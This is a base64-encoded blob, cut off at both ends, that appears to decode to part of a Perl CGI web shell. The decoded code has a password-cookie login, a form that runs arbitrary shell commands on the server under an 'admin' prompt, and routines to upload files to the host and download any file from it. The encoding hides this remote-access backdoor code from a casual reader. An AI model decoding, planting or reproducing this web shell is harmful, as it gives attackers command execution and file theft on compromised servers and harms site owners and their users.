S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1b